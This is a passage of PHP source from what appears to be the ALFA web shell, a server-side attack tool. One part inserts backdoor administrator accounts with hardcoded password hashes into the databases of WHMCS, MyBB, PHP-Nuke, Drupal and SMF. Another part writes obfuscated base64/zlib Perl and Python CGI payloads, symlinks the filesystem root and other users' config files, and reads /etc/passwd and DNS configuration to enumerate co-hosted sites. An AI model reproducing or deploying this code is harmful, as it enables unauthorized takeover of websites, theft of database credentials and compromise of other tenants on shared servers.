$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
create_table($table);
echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
$solevisible = @mysqli_query($conn, "insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','" . $admin . "','d4a590caacc0be55ef286e40a945ea45','" . $SQL . "','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn));
if ($solevisible) {
__alert('Success... ' . $admin . ' is created...');
}
}
}
if (isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb') {
echo __pre() . '<center><div class="txtfont_header">| Mybb |</div><p><p>' . getConfigHtml('mybb') . '</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
create_table($table);
echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
$solevisible = @mysqli_query($conn, "insert into " . $prefix . "users (uid,username,password,salt,email,usergroup) values(null,'" . $admin . "','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','" . $SQL . "','4')") or die(mysqli_error($conn));
if ($solevisible) {
__alert('Success... ' . $admin . ' is created...');
}
}
}
if (isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke') {
echo __pre() . '<center><div class="txtfont_header">| PhpNuke |</div><p><p>' . getConfigHtml('phpnuke') . '</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
create_table($table);
echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa7'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
$hash = md5($pwd);
$solevisible = @mysqli_query($conn, "insert into " . $prefix . "_authors(aid,name,email,pwd) values('{$admin}','God','{$SQL}','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
if ($solevisible) {
__alert('Success... ' . $admin . ' is created...');
}
}
}
if (isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal') {
echo __pre() . '<center><div class="txtfont_header">| Drupal |</div><p><p>' . getConfigHtml('drupal') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">';
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true));
create_table($table);
echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
$localhost = $_POST['alfa2'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
$getDescuid = @mysqli_query($conn, "select uid from users order by uid desc limit 0,1");
$getDescuid = @mysqli_fetch_assoc($getDescuid);
$getDescuid = $getDescuid['uid'];
$getdescuid = $getDescuid++;
$solevisible = @mysqli_query($conn, "insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('{$getDescuid}','{$admin}','\$S\$DP2y9AbolCBOd\\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','solevisible@fbi.gov','filtered_html','1','Europe/Berlin','solevisible@fbi.gov')") or die(mysqli_error($conn));
$solevisible = @mysqli_query($conn, "select uid from users where name='" . $admin . "'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if ($sole == 1) {
$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis['uid'];
}
$solevisible = @mysqli_query($conn, "INSERT INTO users_roles (uid,rid) VALUES ('" . $res . "', '3')") or die(mysqli_error($conn));
if ($solevisible) {
__alert('Success... ' . $admin . ' is created...');
}
}
}
if (isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf') {
echo __pre() . '<center><center><div class="txtfont_header">| SMF |</div><p><p>' . getConfigHtml('smf') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">';
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true));
create_table($table);
echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$admin = $_POST['alfa8'];
$conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
$setpwAlg = sha1(strtolower($admin) . 'solevisible');
$solevisible = @mysqli_query($conn, "insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'{$admin}','1','{$admin}','{$setpwAlg}','solevisible@fbi.gov')") or die(mysqli_error($conn));
if ($solevisible) {
__alert('Success... ' . $admin . ' is created...');
}
}
}
echo "</div>";
alfafooter();
}
function alfaMakePwd()
{
if (_alfa_file_exists("/etc/virtual/domainowners") || _alfa_file_exists("/etc/named.conf") && _alfa_file_exists("/etc/valiases")) {
return "/home/{user}/public_html/";
}
$document = explode("/", $_SERVER["DOCUMENT_ROOT"]);
$public = end($document);
array_pop($document);
array_pop($document);
$path = implode("/", $document) . "/{user}/" . $public;
return $path;
}
function alfaGetDomains($state = false)
{
$state = "named.conf";
$lines = array();
$lines = _alfa_file('/etc/named.conf');
if (!$lines) {
$lines = @scandir("/etc/valiases/");
$state = "valiases";
if (!$lines) {
$lines = @scandir("/var/named");
$state = "named";
if (!$lines && $state) {
$lines = _alfa_file('/etc/passwd');
$state = "passwd";
}
}
}
return array("lines" => $lines, "state" => $state);
}
function alfaCreateParentFolder()
{
$parent = $GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__;
if (!@is_dir($parent)) {
@mkdir($parent, 0755, true);
}
}
function alfasymlink()
{
alfahead();
AlfaNum(9, 10);
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
echo "<div class=header><br><center><div class=\"txtfont_header\">| Symlink |</div><center><h3><a href=javascript:void(0) onclick=\"g('symlink',null,null,'symphp')\">| Symlink( php ) | </a><a href=javascript:void(0) onclick=\"g('symlink',null,null,'symperl')\">| Symlink( perl ) | </a><a href=javascript:void(0) onclick=\"g('symlink',null,null,'sympy')\">| Symlink( python ) | </a><a href=javascript:void(0) onclick=\"g('symlink',null,null,null,null,'SymFile')\">| File Symlink | </a></h3></center>";
if (isset($_POST['alfa2']) && ($_POST['alfa2'] == 'symperl' || $_POST["alfa2"] == "sympy")) {
$sympath = alfaMakePwd();
@mkdir('cgialfa', 0755);
@chdir('cgialfa');
alfacgihtaccess('cgi');
$perl = "#!/usr/bin/perl -I/usr/local/bandmin\nuse MIME::Base64;use Compress::Zlib;my \$alfa_data=\"ALFA_DATA\";eval(Compress::Zlib::memGunzip(decode_base64(\"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\")));";
$py = "#!/usr/bin/python\nimport zlib, base64\nalfa_data='ALFA_DATA'\neval(compile(zlib.decompress(base64.b64decode(\"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\")),'<string>','exec'))";
$cginame = "symperl.alfa";
$source = $perl;
$lang = "perl";
if ($_POST["alfa2"] == "sympy") {
$cginame = "pysymlink.alfa";
$source = $py;
$lang = "python";
}
@__write_file($cginame, $source);
@chmod($cginame, 0755);
echo __pre();
$resource = alfaEx("{$lang} {$cginame} {$sympath}", false, true, true);
if (strlen($resource) == 0) {
echo AlfaiFrameCreator('cgialfa/' . $cginame);
} else {
echo $resource;
}
}
if (isset($_POST['alfa4']) && $_POST['alfa4'] == 'SymFile') {
if (function_exists('symlink') || _alfa_can_runCommand(true, true)) {
AlfaNum(9, 10);
echo __pre() . '
<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>
<p><input type="submit" value=" " name="symlink" /></p></form></center>';
$path = $_POST['alfa5'];
$symname = $_POST['alfa6'];
$solevisible58 = $_POST['alfa7'];
if ($solevisible58) {
$new_name = str_replace(".", "_", basename($symname));
$rand_dir = $new_name . rand(111, 9999);
$sym_dir = 'alfasymlinkphp/' . $rand_dir . '/';
@mkdir($sym_dir, 0777, true);
alfacgihtaccess('sym', $sym_dir, $symname);
_alfa_symlink("{$path}", "{$sym_dir}/{$symname}");
echo __pre();
echo "<center><b><font color=\"white\">Click >> </font><a target=\"_blank\" href=\"ALFA_DATA/" . $sym_dir . '" ><b><font size="4">' . $symname . '</font></b></a></b></center>';
}
} else {
echo "<center><pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
}
}
if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'symphp') {
$cant_symlink = true;
if (function_exists('symlink') || _alfa_can_runCommand(false, false)) {
@mkdir('alfasymlink', 0777);
alfacgihtaccess('sym', 'alfasymlink/');
_alfa_symlink('/', 'alfasymlink/root');
$table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*</span></b></td><td><span style='color:#00A220;'><b>Domains</span></b></td><td><span style='color:#FFFFFF;'><b>Users</span></b></td><td><span style='color:#FF0000;'><b>symlink</span></b></td>";
if (_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")) {
echo "<center>";
$lines = array();
$anony_domains = array();
$anonymous_users = array();
$f_black = array();
$error = false;
$anonymous = false;
$makepwd = "/home/{user}/public_html/";
$domains = alfaGetDomains();
$lines = $domains["lines"];
$state = $domains["state"];
$is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");
$can_runcmd = _alfa_can_runCommand(false, false);
if (!$is_posix && !$can_runcmd) {
$anonymous = true;
$anony_domains = $domains["lines"];
$lines = _alfa_file('/etc/passwd');
}
echo $table_header;
$count = 1;
$template = "<tr><td><span style=\"color:#FFFF01;\">{count}</span></td><td style=\"text-align:left;\"><a target=\"_blank\" href=\"{http}\"/><span style=\"color:#00A220;margin-left:10px;\"><b>{domain}</b> </a></span></td><td style=\"text-align:left;\"><span style=\"color:#FFFFFF;margin-left:10px;\"><b>{owner}</font></b></td><td><a href=\"ALFA_DATA/alfasymlink/root{sympath}\" target=\"_blank\"><span style=\"color:#FF0000;\">Symlink</span></a></td></tr>";
foreach ($lines as $line) {
$domain = "";
$owner = "";
if ($anonymous) {
$explode = explode(":", $line);
$owner = $explode[0];
$owner_len = strlen($owner) - 1;
$userid = $explode[2];
if ((int) $userid < 500) {
continue;
}
$domain = "[?????]";
$temp_black = array();
$finded = false;
foreach ($anony_domains as $anony) {
if ($state == "named.conf") {
if (@strstr($anony, 'zone')) {
preg_match_all('#zone "(.*)"#', $anony, $data);
$domain = $data[1][0];
} else {
continue;
}
} elseif ($state == "named" || $state == "valiases") {
if ($anony == "." || $anony == "..") {
continue;
}
if ($state == "named") {
$anony = rtrim($anony, ".db");
}
$domain = $anony;
}
$sub_domain = str_replace(array("-", "."), "", $domain);
if (substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)) {
if (in_array($owner . $domain, $temp_black)) {
continue;
}
$sympath = str_replace("{user}", $owner, $makepwd);
$http = "http://" . $domain;
echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
$count++;
$temp_black[] = $owner . $domain;
$finded = true;
}
}
if (!$finded) {
$anonymous_users[] = $owner;
}
} else {
if ($state == "named.conf") {
if (@strstr($line, 'zone')) {
preg_match_all('#zone "(.*)"#', $line, $data);
$domain = $data[1][0];
} else {
continue;
}
} elseif ($state == "named" || $state == "valiases") {
if ($line == "." || $line == "..") {
continue;
}
if ($state == "named") {
$line = rtrim($line, ".db");
}
$domain = $line;
}
if (strlen(trim($domain)) > 2 && $state != "passwd") {
if (!_alfa_file_exists('/etc/valiases/' . $domain, false)) {
continue;
}
if ($is_posix) {
$user = @posix_getpwuid(@fileowner('/etc/valiases/' . $domain));
$owner = $user["name"];
} elseif ($can_runcmd) {
$owner = alfaEx("stat -c '%U' /etc/valiases/" . $domain, false, false);
}
}
}
if (!$anonymous) {
if (strlen($owner) == 0 || in_array($owner . $domain, $f_black)) {
continue;
}
$sympath = str_replace("{user}", $owner, $makepwd);
$http = "http://" . $domain;
if ($state == "passwd") {
$http = "javascript:alert('we cant find domain...')";
}
echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
$count++;
$f_black[] = $owner . $domain;
}
}
if ($anonymous) {
foreach ($anonymous_users as $owner) {
$sympath = str_replace("{user}", $owner, $makepwd);
$http = "javascript:alert('we cant find domain...')";
echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);
$count++;
}
}
$cant_symlink = false;
} else {
$is_direct = false;
$makepwd = alfaMakePwd();
if (_alfa_file_exists("/etc/virtual/domainowners")) {
$makepwd = "/home/{user}/public_html";
$is_direct = true;
}
$sole = _alfa_file("/etc/virtual/domainowners");
$count = 1;
echo $table_header;
